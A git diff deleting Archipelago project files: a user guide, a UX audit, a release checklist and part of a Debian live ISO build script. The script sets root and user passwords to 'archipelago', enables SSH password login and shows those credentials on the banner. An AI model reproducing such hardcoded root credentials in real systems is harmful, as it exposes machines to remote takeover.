`core/startos/` contains a StartOS fork (`start-os` v0.3.5-rev.1) that is present on disk but completely inert. It can be safely removed.
## Action
Remove `core/startos/` directory. No migration needed — there are no dependencies to migrate.

View File

@@ -1,421 +0,0 @@
# Archipelago User Guide
Welcome to Archipelago — your personal server for a sovereign digital life. This guide walks you through everything from first boot to daily usage.
## Table of Contents
1. [First-Time Setup](#first-time-setup)
2. [Onboarding Walkthrough](#onboarding-walkthrough)
3. [Dashboard Overview](#dashboard-overview)
4. [Installing Apps](#installing-apps)
5. [Managing Apps](#managing-apps)
6. [Bitcoin Node](#bitcoin-node)
7. [Lightning Network (LND)](#lightning-network-lnd)
8. [Cloud Storage](#cloud-storage)
9. [Identity & Web5](#identity--web5)
10. [Settings](#settings)
11. [Backup & Restore](#backup--restore)
12. [Remote Access](#remote-access)
13. [Troubleshooting](#troubleshooting)
---
## First-Time Setup
### What You Need
- A dedicated computer (Intel/AMD x86_64 or ARM64)
- 16 GB RAM minimum (32 GB recommended)
- 500 GB+ SSD/NVMe storage
- Ethernet connection to your home router
- A USB drive (8 GB+) for the installer
### Flashing the Installer
1. Download the latest Archipelago ISO from the releases page
2. Flash the ISO to a USB drive using [balenaEtcher](https://etcher.balena.io/) or `dd`
3. Insert the USB into your target machine and boot from it
4. The auto-installer partitions your disk, installs Debian 12, and sets up all Archipelago services
5. When complete, the installer prompts you to remove the USB and reboot
### Finding Your Server
After reboot, Archipelago starts automatically. Find your server on your local network:
- **Default address**: `http://archipelago.local` (if mDNS works on your network)
- **IP address**: Check your router's DHCP client list for the new device
- **Direct**: Connect a monitor — the IP is displayed on the console login screen
Open your browser and navigate to the server address. You should see the Archipelago welcome screen.
---
## Onboarding Walkthrough
On first visit, Archipelago guides you through a 7-step onboarding process.
### Step 1: Welcome Screen
A cinematic intro video plays. Click **"Begin"** to start setup.
### Step 2: Create Admin Password
Set your admin password. This password protects:
- The web interface login
- SSH access to your server
- Encrypted secrets on disk
**Requirements**: Minimum 8 characters. Choose something strong — this protects your entire server.
### Step 3: Choose Your Path
Select the sovereign use case that interests you most:
- **Self Sovereignty** — Own your data, identity, and digital life
- **Community Commerce** — Peer-to-peer commerce on Bitcoin
- **Sovereign Projects** — Collaborative workspace without third parties
- **Data Transmitter** — Run relays and network services
- **Hoster** — Monetize hosting capacity
- **Sovereign AI** — Run AI models locally, no surveillance
This is informational — all features are available regardless of your choice.
### Step 4: Setup Type
Choose **Fresh Start** for a new installation. (Restore from backup and connect to existing server are coming in future releases.)
### Step 5: Generate Your Identity (DID)
Archipelago generates a Decentralized Identifier (DID) for you. This is your sovereign digital identity — it proves you are you without any company in the middle.
- Your DID is displayed on screen — copy it if you like
- This identity is stored locally on your server
- It's used for passwordless authentication and Web5 features
Wait for the server health check to complete (13 minutes on first boot as services start up).
### Step 6: Name Your Identity
Give your identity a name (e.g., "Personal", "Business") and choose its purpose. This is optional and can be changed later.
### Step 7: Create a Backup
**Important**: Set a passphrase and download your identity backup file (`archipelago-did-backup.json`). Store this file securely — it's the only way to recover your identity if your server is lost.
### Done
After completing onboarding, you're taken to the Dashboard.
---
## Dashboard Overview
The Dashboard is your home screen with two tabs:
### Dashboard Tab
Quick overview cards showing:
- **My Apps** — How many apps are installed and running. Quick links to browse the store or manage apps.
- **Cloud** — Storage usage and folder count. Access your files.
- **Server** — Connection status and system health.
- **Web5** — DID status, wallet connection, and Nostr relay count.
### Setup Tab
Goal-based guided setup cards for first-time users. These walk you through installing and configuring recommended apps step by step.
---
## Installing Apps
### From the App Store
1. Navigate to **App Store** from the sidebar (desktop) or bottom bar (mobile)
2. Browse by category (Finance, Storage, Communication, Network, etc.) or search by name
3. Click an app to see its details
4. Click **Install**
### Installation Progress
When you install an app, a progress banner appears at the top of the App Store showing:
- Download progress (percentage and MB downloaded)
- Current status (Downloading, Installing, Starting)
Most apps take 15 minutes to install depending on image size and network speed.
### Dependency Resolution
Some apps require others to be running first:
- **Electrs** requires Bitcoin Knots
- **LND** requires Bitcoin Knots
- **Mempool** requires Bitcoin Knots + Electrs
- **BTCPay Server** requires Bitcoin Knots
The App Store shows dependency requirements and offers to install them automatically.
### Available Apps
| App | Category | Description |
|-----|----------|-------------|
| Bitcoin Knots | Finance | Full Bitcoin node with enhanced features |
| Electrs | Finance | Electrum server for wallet connectivity |
| LND | Finance | Lightning Network node for instant payments |
| BTCPay Server | Finance | Self-hosted payment processor |
| Mempool | Finance | Bitcoin blockchain explorer |
| Fedimint | Finance | Federated e-cash and community banking |
| File Browser | Storage | Web-based file manager |
| Immich | Storage | Photo and video management (Google Photos alternative) |
| PhotoPrism | Storage | AI-powered photo organizer |
| Penpot | Productivity | Open-source design tool (Figma alternative) |
| SearXNG | Privacy | Privacy-respecting metasearch engine |
| Ollama | AI | Run large language models locally |
| Nostr Relay | Network | Decentralized social protocol relay |
| Nginx Proxy Manager | Network | Reverse proxy with SSL management |
| Home Assistant | IoT | Smart home automation |
| Tailscale | Network | Zero-config VPN for remote access |
---
## Managing Apps
### My Apps View
Navigate to **My Apps** to see all installed applications in a grid view. Each card shows:
- App icon and name
- Status badge (Running, Stopped, Installing)
- Version number
### App Actions
Click an app to open its details page. Available actions:
- **Launch** — Open the app's web interface
- **Start** — Start a stopped app
- **Stop** — Stop a running app
- **Restart** — Restart the app
- **Uninstall** — Remove the app and its container (data volumes are preserved)
### App Interfaces
Most apps open in an embedded view within Archipelago. Some apps (BTCPay Server, Home Assistant) open in a new browser tab due to security restrictions.
---
## Bitcoin Node
### First-Time Bitcoin Setup
1. Install **Bitcoin Knots** from the App Store
2. The node begins syncing the blockchain automatically
3. Initial sync takes 17 days depending on your hardware and connection
4. Monitor sync progress by launching the Bitcoin Knots interface
### What Bitcoin Knots Provides
- Full validation of all Bitcoin transactions
- Privacy — no third party sees your wallet queries
- Foundation for Lightning (LND), Electrs, Mempool, and BTCPay
### Bitcoin Data Location
Bitcoin blockchain data is stored at `/var/lib/archipelago/bitcoin-knots/` on the server. Plan for 600+ GB of storage.
---
## Lightning Network (LND)
### Setup
1. Ensure Bitcoin Knots is installed and running
2. Install **LND** from the App Store
3. LND connects to your Bitcoin node automatically
### Managing Channels
Navigate to **My Apps → LND → Channels** to:
- View open channels and their balances
- Open new channels to peers
- Close existing channels
### Integration with BTCPay
When both LND and BTCPay Server are installed, BTCPay automatically detects LND and enables Lightning payments. No manual configuration needed.
---
## Cloud Storage
### File Browser
The built-in File Browser gives you web-based access to your server's files.
1. Navigate to **Cloud** from the sidebar
2. Click **File Browser** to open it
3. Upload, download, create folders, and manage files
### Photo Management (Immich)
For photo and video management similar to Google Photos:
1. Install **Immich** from the App Store
2. Access it from the Cloud section
3. Upload photos/videos or use the Immich mobile app to auto-backup your phone
### Storage Location
All cloud data is stored under `/var/lib/archipelago/` on your server's disk.
---
## Identity & Web5
### Your Decentralized Identifier (DID)
Your DID is a globally unique identifier that you control. Navigate to **Web5** to see:
- Your DID string (copy it to share)
- Wallet connection status
- Connected Nostr relays
### Nostr Relay
If you've installed the Nostr Relay, it runs locally on your server. You can use it with any Nostr client by adding your server's relay URL.
### DID Features (Coming Soon)
- Verifiable credentials
- Passwordless authentication to other services
- Data portability between servers
---
## Settings
Navigate to **Settings** from the sidebar.
### Account Information
- **Server Name** — Your server's display name
- **Version** — Current Archipelago version
- **DID** — Your Decentralized Identifier (with copy button)
- **Tor Address** — Your .onion address for Tor access (with copy button)
### Change Password
1. Click **Change Password**
2. Enter your current password
3. Enter and confirm your new password (12+ characters, must include uppercase, lowercase, digit, and special character)
4. All other active sessions are invalidated after password change
### Two-Factor Authentication (2FA)
1. Click **Enable 2FA** in Settings
2. Scan the QR code with your authenticator app (Google Authenticator, Authy, etc.)
3. Enter the 6-digit code to verify
4. Save your backup codes securely — they're the only way to log in if you lose your authenticator
### Logout
Click **Logout** to end your session. You'll be redirected to the login screen.
---
## Backup & Restore
### Identity Backup
During onboarding, you created an identity backup file. To create a new one:
1. Go to **Settings**
2. Look for backup options (identity backup is tied to your DID)
### App Data
App data is stored in `/var/lib/archipelago/{app-id}/` on the server. To back up:
1. Use File Browser to download important files
2. Or SSH into the server and use standard backup tools (rsync, tar)
### Full System Recovery
If your server fails:
1. Flash a new USB installer and install on replacement hardware
2. During onboarding, choose **Restore from Backup** (when available)
3. Upload your `archipelago-did-backup.json` file
4. Re-install your apps from the App Store
---
## Remote Access
### Local Network
Your Archipelago server is accessible on your home network at its IP address or `http://archipelago.local`.
### Tor (Built-in)
Every Archipelago server has a Tor hidden service. Your `.onion` address is shown in Settings. Access it via Tor Browser from anywhere in the world — no port forwarding required.
### Tailscale (Recommended)
For easy, secure remote access without Tor:
1. Install **Tailscale** from the App Store
2. Launch it and sign in with your Tailscale account
3. Install Tailscale on your phone/laptop
4. Access your server from anywhere via its Tailscale IP
See [Tailscale Setup Guide](USER-GUIDE-TAILSCALE.md) for detailed instructions.
---
## Troubleshooting
### Can't Find Server on Network
- Ensure the server is powered on and connected to your router via Ethernet
- Check your router's DHCP client list for the server's IP
- Try `http://archipelago.local` (requires mDNS support)
- Connect a monitor to see the IP displayed on the console
### Login Issues
- **Forgot password**: Connect a monitor and keyboard. Log in at the console and run the password reset tool
- **2FA locked out**: Use your backup codes on the login screen (click "Use backup code")
- **Session expired**: Sessions expire after 24 hours of inactivity. Simply log in again.
### App Won't Start
- Check if dependent apps are running (e.g., Bitcoin Knots must run before Electrs)
- Try stopping and starting the app again
- Check app logs in **My Apps → [App] → Logs**
- Restart the Archipelago service: SSH in and run `sudo systemctl restart archipelago`
### Bitcoin Node Sync Issues
- Initial sync can take several days — this is normal
- Ensure your server has a reliable internet connection
- Check available disk space: Bitcoin needs 600+ GB
### WebSocket Disconnected
The UI shows a "Reconnecting..." banner if the WebSocket connection drops.
- This auto-recovers within 30 seconds
- If persistent, check that the backend service is running: `sudo systemctl status archipelago`
- Hard refresh the browser (Ctrl+Shift+R)
### Server Unresponsive
If the web UI is unreachable:
1. SSH into the server: `ssh archipelago@<your-ip>`
2. Check service status: `sudo systemctl status archipelago`
3. Restart if needed: `sudo systemctl restart archipelago`
4. Check system resources: `free -h` (RAM), `df -h` (disk)
### Getting Help
- Check the [Architecture Guide](architecture.md) for technical details
- File issues at the project repository
- Join the community for support

View File

@@ -1,159 +0,0 @@
# UX Audit Report - Archipelago Web UI
**Date**: 2026-03-11
**Scope**: All 12 pages (login, home, apps, marketplace, cloud, server, web5, settings, chat, federation, credentials, system update)
**Method**: Screenshot review + source code analysis
## Summary
| Priority | Count | Description |
|----------|-------|-------------|
| **P0** | 3 | Apps empty state never renders; Credentials API parse error; Persistent unhealthy banners |
| **P1** | 13 | Dead links, no-op buttons, hardcoded fake data, missing error feedback, silent failures |
| **P2** | 14 | Inconsistent patterns, visual polish, native dialogs, loading states |
---
## P0 - Broken Functionality
### Apps: Empty state hardcoded to never display
- **File**: `Apps.vue:19``v-if="false"` means the "No Apps Installed" empty state can never render
- **Fix**: Change to `v-if="sortedPackageEntries.length === 0 && !searchQuery"`
### Credentials: API parse error on page load
- **File**: `Credentials.vue` — screenshot shows "Failed to load credentials: Parsing credentials" red error
- **Fix**: Debug `identity.list-credentials` RPC response format; handle all response shapes gracefully
### Cross-page: Persistent "tor is unhealthy" banners stack in top-right
- Every dashboard page shows 3-4 stacked red notification banners that never clear
- **Fix**: Auto-dismiss when service recovers, or make dismissible; don't stack duplicates
---
## P1 - Confusing UX
### Login: "Forgot password?" link is dead (`href="#"`)
- **File**: `Login.vue:178`
- **Fix**: Remove link or show help message (password reset requires SSH/re-image)
### Login: No minimum password length feedback during setup
- **File**: `Login.vue:80` — button disabled check doesn't include length >= 8
- **Fix**: Add reactive validation message and include length check in `:disabled`
### Home: Web5 card values are hardcoded (fake data)
- **File**: `Home.vue:244-259` — DID "Active", DWN "Synced", Profits "0.024" are static
- **Fix**: Fetch from RPC or show "--" / "Loading..."
### Home: No loading state for Network/Web5 cards
- **File**: `Home.vue` — Network and Web5 cards show static content immediately
- **Fix**: Add skeleton placeholders consistent with Cloud card pattern
### Home: Refresh buttons on Network/Web5 cards are no-ops
- **File**: `Home.vue:208,266``@click="() => {}"`
- **Fix**: Wire to reload data or remove the buttons
### Apps: Start/stop errors only logged to console
- **File**: `Apps.vue:344,360`
- **Fix**: Add toast notification on failure
### Server: "Manage Local Network" and "Manage Web3 Services" buttons are no-ops
- **File**: `Server.vue:223,284` — no `@click` handler
- **Fix**: Wire to route/modal or disable with "Coming Soon" tooltip
### Server: "View" logs button clears count but shows nothing
- **File**: `Server.vue:766-768` — just resets counter
- **Fix**: Navigate to logs view or show "Coming soon" message
### Server: WiFi connection failure silently swallowed
- **File**: `Server.vue:668`
- **Fix**: Show error message in WiFi modal
### Server: DNS configuration error silently swallowed
- **File**: `Server.vue:622`
- **Fix**: Show error message in DNS modal
### Chat: No close/back button on mobile
- **File**: `Chat.vue:4``hidden md:flex` hides close button
- **Fix**: Add mobile-specific back button
### Federation: Error display at bottom of template, easily missed
- **File**: `Federation.vue:292-295`
- **Fix**: Move error display above "Federated Nodes" section
### Federation: "Remove from Federation" has no confirmation
- **File**: `Federation.vue:243` — destructive action, no confirm dialog
- **Fix**: Add confirmation step before removing node
---
## P2 - Minor Polish
### Login: Duplicate `id="password"` across setup/login templates
- **File**: `Login.vue:52,150`
- **Fix**: Use distinct IDs (`setup-password`, `login-password`)
### Home: System stats show 0 until first RPC response
- **File**: `Home.vue:297-323`
- **Fix**: Show skeleton/placeholder bars instead of zero values
### Marketplace: Category tabs hidden on mobile
- **File**: `Marketplace.vue:112``hidden md:flex`
- **Fix**: Add horizontal scrollable tabs or dropdown for mobile
### Marketplace: Bottom row of apps may be cut off
- **Fix**: Add `pb-24` bottom padding to scrollable container
### Cloud: No loading state while file counts fetch
- **Fix**: Add loading skeleton to item count areas
### Web5: Quick actions grid wraps asymmetrically at lg breakpoint
- **File**: `Web5.vue:11` — 5 items in 3-column grid
- **Fix**: Use `lg:grid-cols-5` or restructure for balanced layout
### Settings: DID string has no copy button
- **File**: `Settings.vue:63` — Tor address has copy button, DID doesn't
- **Fix**: Add copy button matching Tor address pattern
### Settings: Onion address may overflow on mobile
- **File**: `Settings.vue:87`
- **Fix**: Add `truncate` with title tooltip
### Chat: Fallback message exposes env variable name
- **File**: `Chat.vue:52` — shows `VITE_AIUI_URL`
- **Fix**: Reword to user-friendly message
### Federation: Page header hidden on mobile with no alternative
- **File**: `Federation.vue:3`
- **Fix**: Verify mobile layout shell shows title
### Credentials: Toast position overlapped by mobile tab bar
- **File**: `Credentials.vue:190``fixed bottom-6`
- **Fix**: Change to `bottom-20` to clear mobile tab bar
### Credentials: Issue button has no validation feedback for empty fields
- **File**: `Credentials.vue:44`
- **Fix**: Add `:disabled` when required fields empty; add required indicators
### SystemUpdate: Sequential await calls slow page load
- **File**: `SystemUpdate.vue:374-378`
- **Fix**: Use `Promise.all()` for concurrent fetching
### SystemUpdate: `confirm()` for apply/rollback breaks glass UI
- **File**: `SystemUpdate.vue:316,334`
- **Fix**: Replace with glass-styled confirmation modals
### Apps: Uninstall failure uses `alert()`
- **File**: `Apps.vue:396`
- **Fix**: Replace with inline error toast
---
## Cross-Page Issues
### Toast pattern inconsistent
- Credentials: custom inline toast. Settings: inline `<p>`. Apps: `alert()`. Server: swallows errors.
- **Fix**: Implement shared `useToast()` composable used consistently everywhere
### Page headers inconsistently hidden on mobile
- Apps, Cloud, Server, Federation: `hidden md:block`. Home, Web5, Settings, Credentials, SystemUpdate: always visible.
- **Fix**: Standardize pattern across all pages

View File

@@ -1,24 +0,0 @@
# v3.0 Release Checklist
## Prerequisites
- [ ] 10,000+ active nodes (Y5-01)
- [ ] Clean security audit report (Y5-03)
- [ ] Zero-downtime update mechanism tested (Y5-02)
- [ ] 30-day soak test passed on 5+ hardware platforms
- [ ] All Year 2-4 features complete and stable
## Release Steps
1. Freeze code (no new features)
2. Run full test suite on all certified hardware
3. Security audit findings resolved
4. Update CHANGELOG.md and version numbers
5. Build ISO for x86_64 and ARM64
6. Create GitHub release with SHA256 checksums
7. Publish release announcement
8. Update documentation site
9. Tag `v3.0.0` in git
## Post-Release
- Monitor opt-in telemetry for crash reports
- 48-hour hotfix window (team on standby)
- Community announcement on Nostr and forums

View File

@@ -1,633 +0,0 @@
#!/bin/bash
#
# Build Archipelago Bitcoin Node OS ISO - Debian Live Edition
# Based on Debian Live for reliable USB boot (like StartOS)
#
# Usage: ./build-debian-iso.sh
#
set -e
SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
WORK_DIR="$SCRIPT_DIR/build/debian-iso"
OUTPUT_DIR="$SCRIPT_DIR/results"
DEBIAN_VERSION="bookworm"
ARCH="amd64"
# Start build timer
BUILD_START=$(date +%s)
echo "╔════════════════════════════════════════════════════════╗"
echo "║ Building Archipelago - Debian Live Edition ║"
echo "╚════════════════════════════════════════════════════════╝"
echo ""
echo "⏱️ Build started: $(date '+%H:%M:%S')"
echo ""
# Create directories
mkdir -p "$WORK_DIR"
mkdir -p "$OUTPUT_DIR"
# Download Debian Live ISO if not exists
BASE_ISO="$WORK_DIR/debian-live-12-${ARCH}-standard.iso"
BASE_ISO_SIZE=369131520 # Expected size: ~352MB
if [ ! -f "$BASE_ISO" ] || [ $(stat -f%z "$BASE_ISO" 2>/dev/null || stat -c%s "$BASE_ISO" 2>/dev/null || echo 0) -lt 100000000 ]; then
echo "📥 Downloading Debian Live 12 (Bookworm) Standard ISO..."
echo " Size: ~352MB | This is a one-time download (cached for future builds)"
echo ""
rm -f "$BASE_ISO"
# Download with progress bar
curl -# -L -o "$BASE_ISO" \
"https://sourceforge.net/projects/debian-live-respin-iso/files/standard/live-image-debian12.11-standard-20250522-amd64.hybrid.iso/download"
# Verify download succeeded
if [ -f "$BASE_ISO" ] && [ $(stat -f%z "$BASE_ISO" 2>/dev/null || stat -c%s "$BASE_ISO" 2>/dev/null) -gt 300000000 ]; then
ISO_SIZE=$(du -h "$BASE_ISO" | awk '{print $1}')
echo ""
echo "✅ Downloaded Debian Live ISO ($ISO_SIZE)"
echo " 📝 Cached at: $BASE_ISO"
else
echo ""
echo "❌ Download failed or incomplete"
exit 1
fi
else
ISO_SIZE=$(du -h "$BASE_ISO" | awk '{print $1}')
echo "✅ Using cached Debian Live ISO ($ISO_SIZE)"
echo " 📁 Location: $BASE_ISO"
fi
# Extract ISO
echo ""
echo "📦 Extracting Debian Live ISO..."
ISO_CUSTOM="$WORK_DIR/custom"
rm -rf "$ISO_CUSTOM"
mkdir -p "$ISO_CUSTOM"
cd "$ISO_CUSTOM"
7z x -y "$BASE_ISO" >/dev/null 2>&1 || 7z x -y "$BASE_ISO"
echo "✅ Extracted ISO"
# Add Archipelago files
echo ""
echo "📋 Adding Archipelago files..."
ARCHIPELAGO_DIR="$ISO_CUSTOM/archipelago"
mkdir -p "$ARCHIPELAGO_DIR"
mkdir -p "$ARCHIPELAGO_DIR/bin"
mkdir -p "$ARCHIPELAGO_DIR/scripts"
# Copy the pre-built backend if it exists
if [ -f "$SCRIPT_DIR/build/backend/archipelago" ]; then
echo "🦀 Including Archipelago backend from build/backend..."
cp "$SCRIPT_DIR/build/backend/archipelago" "$ARCHIPELAGO_DIR/bin/"
chmod +x "$ARCHIPELAGO_DIR/bin/archipelago"
elif [ -d "$SCRIPT_DIR/../core/target/release" ]; then
echo "🦀 Including Archipelago backend from target/release..."
cp "$SCRIPT_DIR/../core/target/release/archipelago" "$ARCHIPELAGO_DIR/bin/" 2>/dev/null || true
chmod +x "$ARCHIPELAGO_DIR/bin/archipelago" 2>/dev/null || true
fi
# Copy the frontend build if it exists
if [ -d "$SCRIPT_DIR/build/frontend" ]; then
echo "🎨 Including Archipelago Web UI from build/frontend..."
cp -r "$SCRIPT_DIR/build/frontend" "$ARCHIPELAGO_DIR/web-ui"
elif [ -d "$SCRIPT_DIR/../web/dist/neode-ui" ]; then
echo "🎨 Including Archipelago Web UI from web/dist..."
cp -r "$SCRIPT_DIR/../web/dist/neode-ui" "$ARCHIPELAGO_DIR/web-ui"
elif [ -d "$SCRIPT_DIR/../neode-ui/dist" ]; then
echo "🎨 Including Archipelago frontend from neode-ui/dist..."
cp -r "$SCRIPT_DIR/../neode-ui/dist" "$ARCHIPELAGO_DIR/web-ui" 2>/dev/null || true
fi
# Copy app manifests
if [ -d "$SCRIPT_DIR/../apps" ]; then
echo "📦 Including app manifests..."
cp -r "$SCRIPT_DIR/../apps" "$ARCHIPELAGO_DIR/apps" 2>/dev/null || true
fi
# Copy setup scripts
if [ -d "$SCRIPT_DIR/archipelago-scripts" ]; then
echo "📜 Including setup scripts..."
cp "$SCRIPT_DIR/archipelago-scripts/"*.sh "$ARCHIPELAGO_DIR/scripts/" 2>/dev/null || true
chmod +x "$ARCHIPELAGO_DIR/scripts/"*.sh
fi
# Create main setup script for Archipelago
cat > "$ARCHIPELAGO_DIR/setup-archipelago.sh" <<'SETUP_EOF'
#!/bin/bash
#
# Archipelago Setup Script for Debian Live
#
echo ""
echo "╔═══════════════════════════════════════════════════════════╗"
echo "║ 🏝️ ARCHIPELAGO BITCOIN NODE OS - Debian Edition ║"
echo "╚═══════════════════════════════════════════════════════════╝"
echo ""
# Find the boot media
BOOT_MEDIA=""
for dev in /run/live/medium /lib/live/mount/medium /cdrom /media/cdrom; do
if [ -d "$dev/archipelago" ]; then
BOOT_MEDIA="$dev"
break
fi
done
if [ -z "$BOOT_MEDIA" ]; then
echo "❌ Could not find Archipelago files on boot media"
echo " Looking in: /run/live/medium, /lib/live/mount/medium, /cdrom"
exit 1
fi
echo "📍 Found Archipelago at: $BOOT_MEDIA/archipelago"
echo ""
# Copy files to system
if [ -d "$BOOT_MEDIA/archipelago/bin" ]; then
echo "📋 Installing Archipelago binaries..."
sudo cp -r "$BOOT_MEDIA/archipelago/bin/"* /usr/local/bin/ 2>/dev/null || true
fi
if [ -d "$BOOT_MEDIA/archipelago/apps" ]; then
echo "📋 Installing app manifests..."
sudo mkdir -p /etc/archipelago
sudo cp -r "$BOOT_MEDIA/archipelago/apps" /etc/archipelago/ 2>/dev/null || true
fi
if [ -d "$BOOT_MEDIA/archipelago/scripts" ]; then
echo "📋 Installing setup scripts..."
sudo mkdir -p /opt/archipelago
sudo cp -r "$BOOT_MEDIA/archipelago/scripts" /opt/archipelago/ 2>/dev/null || true
sudo chmod +x /opt/archipelago/scripts/*.sh
fi
echo ""
echo "✅ Archipelago installed!"
echo ""
# Automatically launch the menu
sleep 1
exec /opt/archipelago/scripts/archipelago-menu.sh
SETUP_EOF
chmod +x "$ARCHIPELAGO_DIR/setup-archipelago.sh"
# Create auto-start script that runs on login
cat > "$ARCHIPELAGO_DIR/auto-start.sh" <<'AUTOSTART_EOF'
#!/bin/bash
#
# Archipelago Auto-Start - Runs on first login
#
# Find boot media
BOOT_MEDIA=""
for dev in /run/live/medium /lib/live/mount/medium /cdrom; do
if [ -d "$dev/archipelago" ]; then
BOOT_MEDIA="$dev"
break
fi
done
# Install essential tools on first boot (required for disk installer)
if [ ! -f /tmp/.archipelago-tools-installed ]; then
clear
echo ""
echo " ╔═══════════════════════════════════════════════════════════╗"
echo " ║ 🏝️ ARCHIPELAGO - First Boot Setup ║"
echo " ╚═══════════════════════════════════════════════════════════╝"
echo ""
echo " 📦 Installing required tools..."
echo ""
# Update and install essential tools
sudo apt-get update -qq 2>/dev/null
sudo apt-get install -y parted debootstrap dosfstools e2fsprogs 2>/dev/null
echo " ✅ Tools installed"
touch /tmp/.archipelago-tools-installed
sleep 1
fi
# Get IP address
IP=$(hostname -I 2>/dev/null | awk '{print $1}')
# Start web UI in background if not already running
if [ -n "$BOOT_MEDIA" ] && ! pgrep -f "http.server" >/dev/null; then
WEB_UI_DIR="$BOOT_MEDIA/archipelago/web-ui"
if [ -d "$WEB_UI_DIR" ]; then
cd "$WEB_UI_DIR"
nohup python3 -m http.server 80 --bind 0.0.0.0 >/dev/null 2>&1 &
fi
fi
clear
echo ""
echo " ╔═══════════════════════════════════════════════════════════╗"
echo " ║ ║"
echo " ║ 🏝️ ARCHIPELAGO BITCOIN NODE OS ║"
echo " ║ ║"
echo " ║ Your sovereign Bitcoin infrastructure ║"
echo " ║ ║"
echo " ╚═══════════════════════════════════════════════════════════╝"
echo ""
if [ -n "$IP" ]; then
echo " ┌─────────────────────────────────────────────────────────────┐"
echo " │ 🌐 Web UI: http://$IP "
echo " └─────────────────────────────────────────────────────────────┘"
echo ""
fi
echo " Type 'archipelago' to open the setup menu"
echo ""
# Check if already set up
if [ -f ~/.archipelago-setup-done ]; then
return 2>/dev/null || exit 0
fi
# First time - run setup automatically
if [ -n "$BOOT_MEDIA" ] && [ -f "$BOOT_MEDIA/archipelago/setup-archipelago.sh" ]; then
echo ""
read -p " Press Enter to continue to setup menu..."
bash "$BOOT_MEDIA/archipelago/setup-archipelago.sh"
fi
AUTOSTART_EOF
chmod +x "$ARCHIPELAGO_DIR/auto-start.sh"
# Create a simple 'archipelago-menu' command wrapper (don't overwrite the backend binary!)
cat > "$ARCHIPELAGO_DIR/bin/archipelago-menu" <<'CMD_EOF'
#!/bin/bash
# Archipelago menu command - launches the setup menu
if [ -f /opt/archipelago/scripts/archipelago-menu.sh ]; then
exec /opt/archipelago/scripts/archipelago-menu.sh
else
# Find on boot media
for dev in /run/live/medium /lib/live/mount/medium /cdrom; do
if [ -f "$dev/archipelago/scripts/archipelago-menu.sh" ]; then
exec bash "$dev/archipelago/scripts/archipelago-menu.sh"
fi
done
echo "Archipelago menu not found. Run setup first:"
echo " sh /run/live/medium/archipelago/setup-archipelago.sh"
fi
CMD_EOF
chmod +x "$ARCHIPELAGO_DIR/bin/archipelago-menu"
# Verify the real backend binary is there
if [ -f "$ARCHIPELAGO_DIR/bin/archipelago" ]; then
echo " Backend binary: $(file "$ARCHIPELAGO_DIR/bin/archipelago" | grep -o 'ELF.*' || echo 'included')"
fi
# Create SSH auto-start script for live environment
mkdir -p "$ISO_CUSTOM/etc/live/config.conf.d"
cat > "$ISO_CUSTOM/etc/live/config.conf.d/archipelago.conf" <<'LIVE_CONF_EOF'
# Archipelago live config
LIVE_HOSTNAME="archipelago"
LIVE_USER_DEFAULT_GROUPS="audio cdrom dip floppy video plugdev netdev powerdev scanner bluetooth sudo"
LIVE_CONF_EOF
# Create rc.local to start SSH on boot (works in live environment)
mkdir -p "$ISO_CUSTOM/etc/rc.local.d"
cat > "$ISO_CUSTOM/etc/rc.local.d/archipelago-ssh.sh" <<'RCLOCAL_EOF'
#!/bin/bash
# Enable SSH in live environment
# Install and start SSH if not running
if ! systemctl is-active --quiet ssh 2>/dev/null; then
# Try to start SSH (may already be installed)
systemctl start ssh 2>/dev/null || true
# If SSH not installed, install it
if ! command -v sshd >/dev/null 2>&1; then
apt-get update -qq
apt-get install -y openssh-server
systemctl start ssh
fi
fi
# Set password for user (live user is typically 'user' with empty password)
echo "user:archipelago" | chpasswd 2>/dev/null || true
echo "root:archipelago" | chpasswd 2>/dev/null || true
# Allow password auth
sed -i 's/#PasswordAuthentication.*/PasswordAuthentication yes/' /etc/ssh/sshd_config 2>/dev/null
sed -i 's/PasswordAuthentication no/PasswordAuthentication yes/' /etc/ssh/sshd_config 2>/dev/null
systemctl restart ssh 2>/dev/null || true
RCLOCAL_EOF
chmod +x "$ISO_CUSTOM/etc/rc.local.d/archipelago-ssh.sh"
# Also create a systemd service that runs early
mkdir -p "$ISO_CUSTOM/etc/systemd/system"
cat > "$ISO_CUSTOM/etc/systemd/system/archipelago-ssh.service" <<'SERVICE_EOF'
[Unit]
Description=Archipelago SSH Setup
After=network-online.target
Wants=network-online.target
[Service]
Type=oneshot
ExecStart=/bin/bash -c 'apt-get update -qq && apt-get install -y openssh-server && echo "user:archipelago" | chpasswd && echo "root:archipelago" | chpasswd && sed -i "s/#PasswordAuthentication.*/PasswordAuthentication yes/" /etc/ssh/sshd_config && sed -i "s/PasswordAuthentication no/PasswordAuthentication yes/" /etc/ssh/sshd_config && systemctl restart ssh'
RemainAfterExit=yes
[Install]
WantedBy=multi-user.target
SERVICE_EOF
# Enable the service
mkdir -p "$ISO_CUSTOM/etc/systemd/system/multi-user.target.wants"
ln -sf ../archipelago-ssh.service "$ISO_CUSTOM/etc/systemd/system/multi-user.target.wants/archipelago-ssh.service"
# Create system-wide profile script that runs on ANY login
mkdir -p "$ISO_CUSTOM/etc/profile.d"
cat > "$ISO_CUSTOM/etc/profile.d/z99-archipelago.sh" <<'PROFILE_EOF'
#!/bin/bash
# Archipelago auto-start - runs on login (z99 = runs last)
# Only run once per session
if [ -n "$ARCHIPELAGO_STARTED" ]; then
return 0 2>/dev/null || exit 0
fi
export ARCHIPELAGO_STARTED=1
# Find archipelago directory
BOOT_MEDIA=""
for dev in /run/live/medium /lib/live/mount/medium /cdrom; do
if [ -d "$dev/archipelago" ]; then
BOOT_MEDIA="$dev"
break
fi
done
# Get IP address
IP=$(hostname -I 2>/dev/null | awk '{print $1}')
[ -z "$IP" ] && IP=$(ip -4 addr show | grep -oP '(?<=inet\s)\d+(\.\d+){3}' | grep -v '127.0.0.1' | head -1)
# Show welcome banner ALWAYS
clear
echo ""
echo " ╔═══════════════════════════════════════════════════════════╗"
echo " ║ ║"
echo " ║ 🏝️ ARCHIPELAGO BITCOIN NODE OS ║"
echo " ║ ║"
echo " ║ Your sovereign Bitcoin infrastructure ║"
echo " ║ ║"
echo " ╚═══════════════════════════════════════════════════════════╝"
echo ""
if [ -n "$IP" ]; then
echo " ┌─────────────────────────────────────────────────────────────┐"
echo " │ 🌐 Web UI: http://$IP:5678 │"
echo " │ 📡 SSH: ssh user@$IP (password: archipelago) │"
echo " └─────────────────────────────────────────────────────────────┘"
echo ""
fi
